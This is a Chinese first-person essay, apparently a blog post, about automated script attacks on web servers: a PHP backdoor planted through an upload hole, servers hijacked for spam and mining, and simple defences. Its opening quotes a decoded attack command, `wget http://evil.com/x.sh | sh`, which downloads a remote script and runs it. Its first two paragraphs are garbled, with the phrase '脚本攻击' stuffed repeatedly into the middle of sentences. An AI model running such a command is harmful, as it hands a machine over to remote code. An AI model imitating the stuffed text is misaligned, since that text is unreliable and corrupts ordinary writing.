凌晨三点，脚本攻击我的脚本攻击服务器报警了。日志里躺着一段十六进制字符串，脚本攻击解码后是脚本攻击`wget http://evil.com/x.sh | sh`。攻击者连密码都没猜，脚本攻击直接利用了三个月前我忽略的脚本攻击一个插件漏洞——就因为我懒得点那个“更新”按钮。

脚本攻击就是脚本攻击这么回事。它不跟你讲武德，脚本攻击不搞什么高深莫测的脚本攻击零日漏洞，专挑你松懈的脚本攻击地方下手。说白了，脚本攻击就是脚本攻击有人写好了一段自动化代码，像撒网一样扔向整个互联网，脚本攻击谁家的脚本攻击门没锁，谁就先遭殃。脚本攻击你以为黑客是戴着兜帽的天才少年？多数时候，他们只是拿着别人写好的工具，挨家挨户试钥匙的贼。

我见过最荒唐的一次攻击，目标是个只有十几个访客的个人博客。攻击脚本扫描到该博客用的某个老式编辑器存在文件上传漏洞，于是自动上传了一个PHP后门。整个过程不到两秒，比博主泡一杯速溶咖啡的时间还短。后门文件叫`cache.php`，安安静静躺在`/uploads/`目录里，伪装成缓存文件。要不是我闲着没事翻了翻文件修改时间，根本发现不了。

这类攻击最阴险的地方在于——它不炸你的网站，不弹窗勒索，而是把你的服务器变成“肉鸡”。被植入的脚本会偷偷发垃圾邮件、挖门罗币、或者成为下一次更大规模攻击的跳板。你完全不知情，直到某天云服务商发来邮件说你的IP被列入黑名单，或者月底电费账单莫名涨了三百块——当然，服务器托管机房不会因为挖矿给你涨电费，但CPU持续100%的报警会。

防御其实没那么玄乎。我后来复盘那次被入侵，发现只要做到三件事就能避免：第一，把管理后台的默认路径改掉，别用`/wp-admin`这种地球人都知道的入口；第二，凡是上传文件的目录，一律禁止执行PHP脚本；第三，别用root权限跑Web服务。就这么简单，可当时我一条都没做到。

有意思的是，攻击脚本本身往往写得粗糙无比。我拆解过几个捕获到的样本，代码里全是注释掉的调试语句和毫无意义的变量名。有些甚至是从别人那里抄来的，连原作者留下的后门账号都没删。攻击者之间也互相“黑吃黑”，有的脚本会检测服务器上是否已有其他恶意文件，如果有就自动删除——毕竟资源有限，谁抢到的肉鸡多，谁就能挖更多矿。

说到底，脚本攻击拼的不是技术高低，而是运气和习惯。攻击者赌你懒得打补丁，赌你密码设得简单，赌你不会盯着日志看。我认识一个运维老哥，他防攻击的方式特别土——每天凌晨三点定闹钟起来瞄一眼服务器负载。别说，这土办法还真管用。他逮住过三次半夜偷偷跑起来的挖矿进程，全是脚本自动投递的。

别指望防火墙能解决所有问题。真正的安全是种心态：你得默认自己随时会被攻破，然后层层设防。把重要数据离线备份，给每个服务单独建低权限账号，定期换密码。这事没什么捷径，跟每天刷牙一样，坚持做才有效。

毕竟，脚本攻击的门槛已经低到任何人都能试试。你唯一能做的，就是别让自己成为那个最容易得手的目标。